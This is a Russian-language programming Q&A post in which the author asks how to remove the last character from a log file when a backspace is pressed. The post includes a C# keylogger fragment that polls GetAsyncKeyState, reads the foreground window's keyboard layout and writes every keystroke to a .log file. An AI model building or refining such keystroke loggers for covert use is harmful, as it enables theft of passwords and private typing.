Удаление последнего символа (backspace) при записи в файл в C# - PullRequest
1 голос
/ 14 апреля 2020

Проблема

Добрый день, я создал программу, в которой можно записывать нажатия клавиш. Я включил добавление пользовательских клавиш, которые должны быть правильно распечатаны, например: « Shift + / » будет «? ». Но теперь у меня есть одна последняя проблема, связанная с возвратом, ' \ b '.

Я использую StreamWriter для записи в файл .log. Я также добавил ' GetForegroundWindow ', но проблема заключается в ' write ("\ b") '.

                    int value = GetAsyncKeyState(i);
                    if ((value & 0x8000) == 0 || (value & 0x1) == 0)
                        continue;
                    key = (Keys)i;
                    switch (key)
                    {                           
                        case Keys.Shift:
                            write(" [" + key.ToString() + "] ");
                            break;
                        case Keys.Back:
                            write("\b");//     <----'WRITING' BACKSPACE TO THE FILE, EVERYTIME IT'S PRESSED.
                            break;
                        case Keys.Enter:
                            write("\n");
                            break;
                        case Keys.Space:
                            write(" ");
                            break;
                        case Keys.Tab:
                            write("\t");
                            break;
                        case Keys.Escape:
                            if (DEBUG)
                                return;

                        default:
                            IntPtr hWindowHandle = GetForegroundWindow();
                            uint dwProcessId;
                            uint dwThreadId = GetWindowThreadProcessId(hWindowHandle, out dwProcessId);
                            byte[] kState = new byte[256];
                            GetKeyboardState(kState);
                            uint HKL = GetKeyboardLayout(dwThreadId);
                            StringBuilder keyName = new StringBuilder();
                            ToUnicodeEx((uint)i, (uint)i, kState, keyName, 16, 0, HKL);
                            write(keyName.ToString());
                            break;
                    }

Output

Как я и предполагал, он будет «записывать» в файл возврат на одну позицию, но не буквально удаляет последний символ или пробел из файла. Вывод этого даст кучу [] [] []

backspace using streamwriter

Но вы не можете «записать» возврат в файл, можете ты? Можно ли каким-либо другим способом попытаться удалить последний символ из файла с помощью StreamWriter?

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...